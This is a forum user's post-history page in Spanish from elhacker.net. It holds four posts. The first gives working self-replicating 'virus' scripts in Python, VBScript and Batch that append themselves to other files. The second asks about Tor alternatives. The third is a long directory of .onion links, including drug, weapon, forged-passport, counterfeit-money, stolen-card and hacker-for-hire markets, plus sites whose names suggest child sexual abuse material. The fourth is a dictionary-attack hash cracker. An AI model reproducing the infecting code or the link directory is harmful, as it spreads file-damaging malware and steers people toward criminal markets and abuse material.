elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: [1]
1  Programación / Scripting / {VIRUS} Concepto y codigos fuentes funcionales para principiantes [Python, Batch, VBScript] en: 4 Septiembre 2023, 06:28 am
Actualmente se habla mucho de como crear keylogger, ransomware y demas malware que honestamente son bastante utiles. Pero cuando vemos el nacimiento de todo esto sabemos que el concepto de "Virus informatico" resulta ser el primer tipo de malware.

Haciando un poco de historia sobre el mismo encontramos que a principio de los 80 varios programadores se percatan que podian ejecutar un programa y añadir el codigo fuente de ese programa a los demas ejecutables, haciendo que portaran parte del codigo y asi poder copiarse una y otra vez, se uso el termino de virus informatico debido a que el programa que se copiaba "infectaba" a los demas añadiendo codigo al final del mismo. Sin embargo, realizar un "virus" con los archivos ejecutables resulta muy trabajoso por lo que como ejercicio de didactico vamos a ver esto en lenguajes tipo "Scripting" respectivamente.

Arrancando por el mas querido Python, como virus.py

Código
  1. #coding: utf-8
  2. import os,sys
  3.  
  4. full_path_name = sys.argv[0]
  5. path_local = sys.path[0]
  6.  
  7. temp_var_file = open(full_path_name,'r')
  8. code_virus = temp_var_file.read()
  9. temp_var_file.close()
  10.  
  11. for file_infects in os.listdir(path_local):
  12.  path_file_infect = path_local+'\\'+file_infects
  13.  if os.path.isfile(path_file_infect):
  14.    if path_file_infect != full_path_name:
  15.      infectar = open(path_file_infect,'a')
  16.      infectar.write(code_virus)
  17.      infectar.close()
  18.  
  19. print("Fuiste infectado")

Por VBScript como virus.vbs

Código
  1. Dim fso
  2. Dim Full_path_vbs, Path_local, code_virus
  3.  
  4. set fso = createobject("Scripting.Filesystemobject")
  5. Full_path_vbs = wscript.scriptFullname
  6.  
  7. Set Code_local = fso.opentextfile(Full_path_vbs,1)
  8. code_virus = Code_local.readall()
  9. code_local.close()
  10.  
  11. path_local = fso.GetParentFolderName(Full_path_vbs)
  12. set obj_local_dir = fso.GetFolder(path_local)
  13.  
  14. For Each var_file in obj_local_dir.files
  15.    if (Lcase(fso.GetExtensionName(var_file)) = "vbs") and (var_file.name <> wscript.scriptname) then
  16.      Set mutante = fso.opentextfile(var_file,8)
  17.      mutante.write code_virus
  18.      mutante.close
  19.    end if
  20. next
  21.  
  22. msgbox "infectado"
  23.  

Y finalmente por una unica linea en Batch como virus.bat

Código
  1. for %%f in (*.bat) do copy %%f + %0

Como se puede ver, los tres cumplen las mismas condiciones, extraer su codigo fuente leyendose a si mismo, posteriormente buscar en el directorio local otros Scripts con la misma extension y abrirlos en modo añadidura para escribir su codigo al final de los ficheros distintos a el he "infectarlos".

Saludos y hacer las pruebas.
2  Comunicaciones / Redes / DEEP WEB y redes alternativas a TOR (I2P, FREENET, LOKINET) en: 31 Agosto 2023, 19:05 pm
Claramente en el ambito de la Web profunda existe como herramienta mas popular la red TOR de extension .onion. Sin embargo no existe mucha informacion por no decir casi nula en comparacion, de otras tecnologias como I2P, Freenet e incluso una que encontre recientemente LokiNet. La pregunta es, de donde o con quien puedo extraer mas informacion de estas redes. Saludos
3  Comunicaciones / Redes / [DEEP WEB] Link's de la Web .onion en: 30 Agosto 2023, 17:02 pm
Esta lista es copiada de uno de los foros. La subo aqui para facilitar las busquedas y documental nuevos links, actualizando asi la los dominios .onion

The Hidden Wiki.

El http Hidden Wiki: //zqktlwi4fecvo6ri.onion/wiki/index.php/Main_Page
El Uncensored Ocultos http wiki: //uhwikih256ynt57t.onion/wiki/index.php/Main_Page
Bóveda 43 (útil) http: //vault43z5vxy3vn3.onion/
Biblioteca Imperial de TOR http: //xfmro77i3lixucja.onion/
Sin embargo, otro directorio tor http: //bdpuqvsqmphctrcs.onion/
Gramos (búsqueda) http: //grams7enufi7jmdl.onion/
The Hub (foro) http: //thehub7dnl5nmcz5.onion/
Agora Foro http: //lacbzxobeprssrfx.onion/
sopa de cebolla http (enlaces N Stuff): //soupksx6vqh3ydda.onion/
Torum (foro) http: //torum4kqr55yqui6.onion/
overchan (un poco de todo lo que parece) http: // oniichanylo2tsi4. cebolla /
TORCH (búsqueda) http: //xmh57jrzrnw6insl.onion/
Francés Tor IRC http: //fitwebwmjekqsyrw.onion/
TORsearch http: //kbhpodhnfxl3clb4.onion/
Yacy (búsqueda) http: //yacy2tp5a2dhywmx.onion/
OnionDir (enlaces) http: //dirnxxdraygbifgc.onion/
Burnout (enlaces) http: //burnoutxf6o2yvsw.onion/
TOR Servicio Ocultos (búsqueda) http: //msydqstlz2kzerdg.onion/search/
Q & A (como yahoo respuestas) http: //pequ3i77q5l4w4sw.onion/
de Benji Blog http: //sonntag6ej43fv2d.onion/en
Secret Stash (blog) http: //dn4hcr3qhlpaiygr.onion/
foro Cebolla Cruel (foro para "malas cosas *) http: //cruel2ijkqggizy5.onion/forum/
The Plague (enlaces y cosas) http: //zseijor556d5t4yf.onion/
Noticias Oscuro (foro) http: //xhb4vpn4a67sug7t.onion/
Spreadit (se ve un poco como reddit) http: //jdl3nf2hr3ehzyoc.onion/
Hechicería y Steamwork (búsqueda) http: // kaarvixjxfdy2wv2. cebolla /
Myles Braithwaite http: //gvvsa367g2zkzjj3.onion/
TOR vincula http: //torlinkbgs6aabns.onion/
nudista Paraíso (sitio para nudistas) http: //qvchmzewlf4efhcw.onion/
DeepWeb Ministerios (religios web) http: //hxnibog5m2ocjeef.onion /
SIN Red de Inteligencia Estratégica (estar preparado para cualquier situación) http: //4iahqcjrtmxwofr6.onion/
Añadir estos vínculos (links) http: //vizpz65utiopch7t.onion/
Vida Shadow (noticias) http: //shadow7jnzxjkvpz.onion/
búsqueda de archivos de Usenet http: //wbyi72yt6gitdcqd.onion/
blog de ??la Libertad (blogs gratuitos) http: //crylibertytwta4s.onion/
Intel Exchange (foro) http: //rrcc5uuudhh4oz3c.onion/
GUROChan (tablón de anuncios) http: //gurochanocizhuhg.onion/
Maxima Culpa (confesiones virtuales) http: //nsmgu2mglfj7za6s.onion/
Cebolla DIR (enlaces) http: //chl7b5p6rr64po3s.onion/
Leonhard Weese (blog personal) http: //liongrasr5uy5roo.onion/
YHIMA (enlaces) http: //ogbinmlotgjwgkeo.onion /
Suicidio Sancionado (foro) http: //suicideocymrgxq7.onion/
anon confesiones http: //confessx3gx46lwg.onion/
OnionNet (Links Noticias etc) http: //ubbchzof2pxs4swi.onion/
Ley Surveilance http: //7vrl523532rjjznj.onion/
Blue Onion (libros) http: //blue3237xytrz5rk.onion/blueonion/
El http Ocultos Foro: //ewd5a7hnvc4necnf.onion/index.php
SImple http tienda: //dharyyzdhok5eudi.onion/store/
malas ideas Foro http: //7x5rg44gkhtovwjt.onion/ foro / index.php
FUD (discusión bordo) http: //bssjumzkbj3vlhiy.onion/
enlaces ocultos http: //hidhost5gk6w7ahf.onion/hidlinks/links.php
Facebook en tor? https: //facebookcorewwwi.onion/
FBI Chan http: //fbichanc6yfagl4l.onion/
Lectores club http: //c3jemx2ube5v5zpg.onion/
Weblog http: //6e3i6bqjgnmtn3fu.onion/

Mercados y Tiendas Negros.
EasyCoin - Bitcoin Wallet con conexión Bitcoin Mixer. http: //easycoinsayj7p5l.onion/
WeBuyBitcoins - Vender tus Bitcoins para el efectivo, PP y más. http: //jzn5w5pac26sqef4.onion/
OnionWallet - Anónimo Bitcoin Wallet y Bitcoin lavandería. http: //ow24et3tetp6tvmk.onion/
EuCanna - 'First Class Cannabis Healthcare' http: //rso4hutlefirefqp.onion/
Pueblos Drug Store - del Darkweb Mejor Proveedor de Drogas! http: //newpdsuslmzqazvr.onion/
hierbas favoritas - Finest Orgánica Cannabis sale de EE.UU.. http: //smoker32pk4qt3mx.onion/
CannabisUK - Reino Unido al por mayor de Cannabis Proveedor. http: //fzqnrlcvhkgbdwx5.onion/
DeDope - Weed alemán y tienda de Hash. (Bitcoin) http: //kbvbh4kdddiha2ht.onion/
BitPharma - proveedor de la UE para la cocaína, la velocidad, mdma, psicodélicos. http: //s5q54hfww56ov2xc.onion/
Brainmagic - Mejores psicodélicos en la red oscura. http: //ll6lardicrvrljvq.onion/
NLGrowers - Cafetería grado de cannabis de los Países Bajos. http: //25ffhnaechrbzwf3.onion/
Kamagra para Bitcoin - Igual que el Viagra, pero más barato! http: //k4btcoezc5tlxyaf.onion/
tienda móvil - iPhones desbloqueados y otros teléfonos inteligentes. http: //mobil7rab6nuf7vx.onion/
Reino Unido Guns and Ammo - Armas y Munición de venta del Reino Unido. http: //tuu66yxvrnn3of7l.onion/
Rent-A-Hacker - Hacking, DDOS, Sociales Ingeniería etc. http: //2ogmrlfzdthnwkez.onion/
Cebolla Servicios de Identidad - Pasaportes Vendiendo e ID-Tarjetas. http: //abbujjh5vqtq77wg.onion/
HQER - cuentas euro de alta calidad réplicas / falsificaciones. http: //y3fpieiezy2sin4a.onion/
falsificaciones USD - USD falsificaciones de alta calidad. http: //qkj4drtgvpm7eecl.onion/
Ciudadanía EE.UU. - Obtener un verdadero pasaporte EE.UU.. http: //xfnwyig7olypdq5r.onion/
Apples4Bitcoin - productos baratos Apple para Bitcoin. http: //tfwdi3izigxllure.onion/
ccPal - CC, CVV2s, Ebay, Paypals y más. http: //3dbr5t4pygahedms.onion/
EuroGuns - Su # 1 traficante de armas europeo. http: //2kka4f23pcxgqkpv.onion/
británicos Pasaportes - Original Pasaportes del Reino Unido. http: //vfqnd6mieccqyiit.onion/
USfakeIDs - alta calidad EEUU licencias de conducir falsas. http: //en35tuzqmn4lofbk.onion/


Tecnología, las computadoras, los hackers de alquiler, materiales / anarquía relacionados de hacking.
Cualquier cosa me encuentro con que se ve técnica de ninguna manera serán agrupados en esta categoría. Podría ser sólo una pequeña snipet de código. Podría ser hackear cepas / phreak desde hace 20 años. Podría ser una empresa que ofrece algún tipo de servicio relacionado con la informática que yo sólo no entiendo

MacLemon (seguridad, noticias, enlaces) http: //fzybdgczph7xfdnr.onion/
Estado TOR - Tor estado de la red http: //jlve2y45zacpbz6s.onion/
clave pública TorPGP http servidor: //torpgp3ujaysucll.onion/
Altera Praxis (no estoy seguro de qué se trata TBH) http: //ncivdawfxihoh7sj.onion/about.html
keybase (una especie de pirata / herramienta acosador idk) http: //fncuwbiisyh6ak3i.onion/
Tor Web devolper (de alquiler) http: //qizriixqwmeq4p5b.onion/
Programador Web (en alquiler) http: //kobrabd77ppgjd2r.onion/
Servicio de Hacking de Ozy (pirata informático de alquiler) http: //ozy7mnciacbc5idc.onion/
Servicios de Pioopioo (pirata informático para el alquiler ) http: //rowtogxp2akwem6n.onion/
lugar Hacker http: //hackerw6dcplg3ej.onion/
Parazite (info anarquía principalmente) http: //kpynyvym6xqi7wz2.onion/
foro de soporte DNS http: //mj6vjwhtyahcj6fx.onion/
BitMessage correo de puerta de enlace http: / /bitmailendavkbec.onion/
Keys Open Doors http: //wdnqg3ehh3hvalpe.onion/
Servicio Ocultos howto http: //nfokjgfj3hxs4nwu.onion/
JRat (herramienta de administración remota de Java) http: //jratoc334zo7zgis.onion/
FILTH (carajo te quiero hackear) http: //om2ak3coziov3dbc.onion/forum/index.php
Cebolla Dominios y MD5 http: //xlmvhk3rpdux26dz.onion/
Soylent Noticias http: //skgmctqnhyvfava3.onion/
azulado Coder http: //mh7mkfvezts5j6yu.onion/
Visor Cable (idk lo esto no es más que su irritable) http: //leakager742hufco.onion/
Xerbot http: //xfthw4bq7lx2y726.onion/
Hack Canadá http: //hackcanl2o4lvmnv.onion/
Imperial http despotismo anarquista: //rgeo5wj7gneidzh3.onion/
Directory listing denied (web anon ftp) http: //wtutoxfznz45gf6c.onion/
Anarplex (una especie de anarquía ordenador) http: //y5fmhyqdr6r7ddws.onion/
GhostDeveloper (programador freelance) http: //develggxuazrcokn.onion/
SKS Cebolla http servidor de claves: //lbnugoq5na3mzkgv.onion /index.html
GNUPG http: //ic6au7wa3f6naxjq.onion/
hechos Cat http: //2v7ibl5u4pbemwiz.onion/
ajedrez (juego) http: //theches3nacocgsc.onion/
ciudad Necro (enlaces n cosas) http: //nekrooxwwskakacj.onion/
Cifrado Password Generator http: //pwgenmwi7eqsys76.onion/
rows.io jabber http: //yz6yiv2hxyagvwy6.onion/
M5S fugas http: //33pvcdba2nm3afnj.onion/
Un proxy HTTP cgi: //x5yd2gfthlfgdqjg.onion/
FIT francesa http IRC TOR: //fit2v7z4plpfyh2h.onion/
El Proyecto de Documentación de Linux http: //3c2rvufmbcggnqi6.onion/
http Crypto Partido: //cpartywvpihlabsy.onion/
Hive Archivos http: //thehivemwon6a5mp.onion/
txtorcon (python biblioteca contril para tor) http: // timaq4ygg2iegci7.onion /
rodio (cosas ciencia) http: //rhodiumio4b7b4rm.onion/
http Hackerspace Praga: //pmwdzvbyvnmwobk5.onion/

Porno,Erotica.
Pron tormenta http: //prnstmrpfkgkaw5v.onion/
http Fetichismo: //fetishuonjww3xvt.onion/
***** y Scat http: //shitscats6qomwxm.onion/
nórdica http porno escandinavos: //xnordic6virmmls3.onion/
Historias Extreme Boy http: //dembtxtlnu2cospb.onion/
Secret Story Archive (relatos eróticos, arte, etc) http: //pja3dhxxpn4cba63.onion/TSSA/index.html
Xcomics (cómics para adultos) http: //xcomics5vvoiary2.onion/
Girls Liberadas (fotos) http: //k4jmdeccpnsfe43c.onion/
(fotos y vids) http: //mjt54q6pagohhimn.onion/
Escándalos Oscuras (mujeres chantaje en las cosas) http: //hhokbk2kujwujm3w.onion/
el romance oculto de Soreking (historia de amor) http: //sorekingemb36w65.onion/
Pee fotos (chicas meando) http: //peepicsjswxrkhuc.onion/
http levas JailBait: //byu4ifhwhzyo44bf.onion/index.php
La pesadilla de los Animales (foro de maltrato animal) http: //7adopgjsyman2el2.onion/
Boy vids http: // boyvidsthnubdaub. cebolla / index.php
mosca en la pared http: //7ulefmuz3jowwjb4.onion/
galería Fappening http: //fappen53mnvayq4o.onion/
http porno: //bernd33lcq7im5nw.onion/regeln/
Enlaces http: //jjvxrbpckwpz3kwu.onion/LINKS/
central Park (enlaces) http: //boysopidonajtogl.onion/
Clase Galaxy (chatear + archivo de host / acción) http: //startrekoqeow6e3.onion/galaxy.cgi
http levas JailBait: //spe7fcy6kmupwvr3.onion/
conocer a mis hermanas http: // 4e6avcmbxn5y253g.onion /
http porno: //pussybadk7h65tcn.onion/
Crossdress y esas cosas http: //dressupbmylprqbf.onion/

Políticos, activistas, grupos, el periodismo, la denuncia de irregularidades etc.
Juventud foro Rage http: //neyigf7eragkp5nq.onion/forum/
Asociados denunciantes http: //w6csjytbrl273che.onion/#/
Comunidad X contratación http: //gp5tycij54ri7xcz.onion/
Código Verde ( ética hacktivismo) http: //pyl7a4ccwgpxm6rd.onion/
Infodio Fugas http: //ymi7h25hgp3bj63v.onion/#/
Wiki Leaks http: //zbnnr7qzaxlk5tms.onion/
http dominio de Zwitterion: //3il6wiev2pnk7dat.onion/
Asegure silbato vida silvestre soplando http: / /ppdz5djzpo3w5k2z.onion/#/
Libertad de prensa http fundación: //freepress3xxs3hk.onion/
la loli http servidor de promoción: //lolikaastbgo5dtk.onion/
Global Fugas http: //h73hx2munq7q465s.onion/#/
http Tactical Technology: // hrkdpwrkh3lbow2l.onion /
Fondo de las http lucha islámico: //teir4baj5mpvkg5n.onion/
http Transparencia Gobernanza de Internet: //k52lcjc5fws3jbqf.onion/
Luchamos http censura: //3kyl4i7bfdgwelmf.onion/
Insiders Anon http: //imtrjn3qe2tzh5ae.onion/
Mapa Mos maiorum (ayuda de los refugiados) http: //iuektur6bicvfwcq.onion/ushahidi/
fugas wiki http: //jwgkxry7xjeaeg5d.onion/

El anonimato, Seguridad.
incluye correo electrónico seguro, chat, etc
Anonet wiki http: //xz2rtmpjjwvdw44p.onion/
Secure Messaging http: //sms4tor3vcr2geip.onion/
MailTor http: //mailtoralnhyol5v.onion/src/login.php
Lelantos correo electrónico http: // lelantoss7bcnwbv.onion /
Cebolla correo http: //p6x47b547s2fkmj3.onion/
JitJat (mensajería) http: //jitjatxmemcaaadp.onion/login.php
TOR PasteBin http: //postits4tga4cqts.onion/
RetroShare chatear servidor http: //chat7zlxojqcf3nv.onion/
ProtectTOR55 http: //protector55z5s7j.onion/
Zerobin http: //zerobinqmdqd236y.onion/
TOR el chat ruleta http: //tetatl6umgbmtv27.onion/
SIGAINT (email) http: //sigaintevyh2rzvw.onion/
Marino http servidor de correo: // inocncymyac2mufx. cebolla /
web / irc charla cosa http: //6ejbuiwnp77gu67h.onion/
FreeFor (chatear) http: //tns7i5gucaaussz4.onion/
Volátiles (chatear n cosas) http: //vola7ileiax4ueow.onion/

Hosting, Web, Archivos, Imagenes.
Onionweb File Hosting (límite de 100mb) http: //3fnhfsfc2bpzdste.onion/
Ocultos http Hosting: //7zzohostingx4mes.onion/
gratuito vínculos Hosting http: //a5ok374pjcq7bsyp.onion/
servicios Darknet http: // darknet4x3hcv5zp .onion /
Infernet oscuro http Hosting: //a5ok374pjcq7bsyp.onion/
IMG.BI (alojamiento de imágenes) http: //imgbifwwqoixh7te.onion/
Secure gota http: //v6gdwmm7ed4oifvd.onion/
CYRUSERV http: //cyruservvvklto2l.onion/
gratuito TOR http Hosting: //zuxtem3jcv2fvmgk.onion/
Hosting Inicio (cómo) http: //dmru36nvfgtywx47.onion/
http Hosting real: //hosting6iar5zo7c.onion/
TorSafe (alojamiento de archivos) http: //torsafeiwttlkul6.onion/accounts/login/
Bienes Hosting http: //ezuwnhj5j6mtk4xr.onion/
http TOR VPS: //torvps7kzis5ujfz.onion/index.php/TorVPS
Kowloon (hosting) http: //kowloon5aibdbege.onion/
Cebolla Pastebin http: //pastetorziarobi7.onion/
Popfiles (archivo hosting) http: //popfilesxuru7lsr.onion/
Ocultos http Hosting: //offshore6gq7ykr7.onion/
Darknet Soluciones (hosting y diseño) http: //darknet47je5xwm6.onion/
cargador Cebolla (alojamiento de archivos de hasta 100 MB) http: // nk3k2rsitogzvk2a. cebolla /
Media, música, películas, arte, dibujos animados, cómics, etc *
Skeletor.bit http: //okzatvfk2jzgvmf4.onion/
Yay Ponis http: //ponieslzi3ivbynd.onion/
HFS (música) http: //wuvdsbmbwyjzsgei.onion/
Gatito Mar Palacio (torrentes) http: //wtwfzc6ty2s6x4po.onion/
Manga http: //negimarxzov6ca4c.onion/
Comics http: //7etxnv26hro7mmuu.onion/
profundo Tune (música) http: //tune4xs6mj2evcr6.onion/
TorFlix (películas) http: / /jl4m7ubpotnu2yos.onion/
Sin nombre, no estoy seguro si su música o hablar pero http de su mp3: //xf3fjq4b7j6pswuq.onion/
Cosas Gone (imágenes imprimibles) http: //32ixi6myw3things.onion/
ORVoice (música) http: // orvoicemur72h7rx. cebolla / TOR /
Índice de (música) http: //uuxrei5or65anucg.onion/
Mi pequeño pony http: //mlpfimf74svi6y4q.onion/s01/
El http bóveda audiolibro: //xmctuxj7dsymumwf.onion/

Otros...
http Riseup: //zsolxunfmbfuq7wf.onion/rc/
Place (alargamiento del pene) Thunder http: //thundersplv36ecb.onion/
Smart5 (foro, por lo que idk aunque) http: //smart5ywvuwbmzfd.onion/
TOR Biblioteca Alemana (documentos, archivos, sobre qué tema idk) http: //pqfja3rzroprkfq6.onion
Dying Breed (foro, idk qué) http: //g6o7aurv4c3ixalq.onion/index.php
Hers algunos cordones aleatorios. latitud / longitud http: //4k2oq3fswx35a72s.onion/
Zyprexa mata http: //tdkhrvozivoez5ad.onion/
gato fuera de la bolsa de http: //vkpriz2cjzymgpsp.onion/
XL33tVill3 (enlaces y idk qué) http: //tt75atziadj4duff.onion/sindex .html
Realmente no sé qué decir http: //rjzdqt4z3z3xo73h.onion/
pantalla solar http: //zgypn3izock2oqny.onion/
archivos GIF (archivos de inteligencia mundial) http: //gkqmy7ioqptiru5o.onion/gifiles/
http Hacked: // 7o46qra2jkz3k3kx .onion /
GreatDumps http: //www.greatobxvv7etokq.onion/ login.do/?
Revista internacional de la prueba de concepto o GTFO http: //pocgtfo7tu77thrp.onion/
Evolución http: //k5zq47j6wd3wdvjq.onion/login request_path =% 2F
Elize chatbot http: //opnju4nyz7wbypme.onion/
Cryptome (im no sabe dónde poner esto por lo que su aquí) http: //y6q2mnorhmsfdm3r.onion/
Pastebin http: //5aklnwbibkhrtbs6.onion/
4  Programación / Scripting / Crackeador de Hashes MD5, SHA256, SHA512 con Python 3 [codigo fuente] en: 23 Agosto 2023, 00:58 am
A continuación procedo a presentar un codigo fuente diseñado para "Crackear" usando un Ataque de diccionario online y las librerias "colorama", hashlib, string, urllib. Claramente esta carente de limpieza, orden y comentarios por lo que pido ignorar esos importantes detalles. Pueden leer y utilizar el codigo a su placer...

 
Código
  1. #coding: utf-8
  2. from colorama import init, Fore, Back, Style
  3. import hashlib
  4. import string
  5. from urllib.request import urlopen
  6. #   )\      )  )\       )\())    )      ( /(  
  7. # (((_)  ( /( ((_) (   ((_)\  ( /(  (   )\())
  8. # )\___  )(_)) _   )\   _((_) )(_)) )\ ((_)\  
  9. #((/ __|((_)_ | | ((_) | || |((_)_ ((_)| |(_)
  10. # | (__ / _` || |/ _|  | __ |/ _` |(_-<| ' \  
  11. #  \___|\__,_||_|\__|  |_||_|\__,_|/__/|_||_|
  12.  
  13. #81dc9bdb52d04dc20036dbd8313ed055
  14.  
  15. init()#iniciar el colorama
  16. def art_ascii():
  17.  print(Fore.BLUE+"#-"*50+"#")
  18.  print(Fore.YELLOW+"   )\     )  )\      )\())    )      ( /(  ")                                                                
  19.  print(" (((_)  ( /( ((_) (   ((_)\ ( /(  (   )\()) ")                                                                
  20.  print(" )\___  )(_)) _   )\  _((_) )(_)) )\ ((_)\ ")                                                                
  21.  print("((/ __|((_)_ | | ((_) | || |((_)_ ((_)| |(_) ")                                                                
  22.  print(Fore.RED+"((/ __|((_)_ | | ((_) | || |((_)_ ((_)| |(_) ")                                                                
  23.  print(" | (__ / _` || |/ _|  | __ |/ _` |(_-<| ' \ ")                                                                
  24.  print("  \___|\__,_||_|\__|  |_||_|\__,_|/__/|_||_| ")
  25.  print(Fore.WHITE+"---| "+Fore.GREEN+".$$."+Fore.WHITE+"Bad4m_cod3"+Fore.GREEN+".$$."+Fore.WHITE+"|---")                                                          
  26.  print(Fore.MAGENTA+"\"a28ed83f69647d8f2a1046b9fa0e7c2c\""+Fore.GREEN+" H.P.Lovecraft")                                                          
  27.  print(Fore.BLUE+"#-"*50+"#"+Fore.WHITE)
  28.  
  29. def consol_prin(strdata):
  30.  print(Fore.BLUE+"--["+Fore.WHITE+"+"+Fore.BLUE+"]:"+Fore.WHITE+strdata)
  31.  
  32. def consol_input():
  33.  return str(input(Fore.BLUE+"--["+Fore.GREEN+"$.input.$"+Fore.BLUE+"]:"+Fore.WHITE))
  34.  
  35. def consol_error(errtext):
  36.  print(Fore.WHITE+"--["+Fore.RED+"Error!!"+Fore.WHITE+"]"+Fore.RED+":: "+errtext+Fore.WHITE)
  37.  
  38. def hash_text(strdata,typee):
  39.  if typee==0:
  40.    hashtxt = hashlib.md5(strdata).hexdigest()
  41.  elif typee==1:
  42.    hashtxt = hashlib.sha256(strdata).hexdigest()
  43.  elif typee==2:
  44.    hashtxt = hashlib.sha512(strdata).hexdigest()
  45.  else:
  46.    raise ValueError("Invalid Type Hash")
  47.  return hashtxt
  48.  
  49. def ishash(strhash,typee):
  50.  if all(inxx in string.hexdigits for inxx in strhash):
  51.    if typee==0:#md5
  52.      return len(strhash)==32
  53.    elif typpe==1:#sha256
  54.      return len(strhash)==64
  55.    elif typee==2:#sha512
  56.      return len(strhash)==128
  57.    else:
  58.      raise ValueError("Invalid Type Hash")
  59.  else:
  60.    return False
  61.  
  62. def return_case_hash(tphsh):
  63.  if tphsh=="md5":  return 0
  64.  elif tphsh=="sha256": return 1
  65.  elif tphsh=="sha512": return 2
  66.  else: return 99
  67.  
  68. def download_url(link):
  69.  return urlopen(link).read()
  70.  
  71. def main():
  72.  art_ascii()
  73.  global tp_hash
  74.  global hash_to_crack
  75.  consol_prin("Crackeadora de hashes")
  76.  
  77.  while True:
  78.    consol_prin("Seleccione el tipo de hash {md5,sha256,sha512}")
  79.    tipehash = consol_input()
  80.    tp_hash = return_case_hash(tipehash)
  81.  
  82.    if tp_hash == 99:
  83.      consol_error("Tipo de Hash invalido")
  84.    else:
  85.       break
  86.  
  87.  consol_prin("Tipo de hash selecionado [{}]".format(tipehash))
  88.  
  89.  while True:
  90.    consol_prin("Introduzca el HASH tipo {} que desea Crackear".format((tipehash)))
  91.    hash_to_crack = consol_input()
  92.    if ishash(hash_to_crack,tp_hash):
  93.      consol_prin("Iniciando Cracking de HASH: {} ...".format(hash_to_crack))
  94.      break
  95.    else:
  96.      consol_error("Hash {} invalida".format(hash_to_crack))
  97.  
  98.  consol_prin("Descangando Diccionario")
  99.  dicc = download_url("https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt")
  100.  consol_prin("Diccionario descargado")
  101.  consol_prin("Iniciando Ataque de diccionario "+Fore.RED+"[ATTACK INI]::::"+Fore.WHITE)
  102.  for inxx in dicc.split("\n".encode('utf-8')):
  103.    z = hash_text(inxx,tp_hash)
  104.    consol_prin("HASH:: {}          texto plano:: {}".format(z,inxx))
  105.    if z == hash_to_crack:
  106.      consol_prin("Password: {}         HASH: {}".format(inxx,z))
  107.      break
  108.  
  109. main()
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines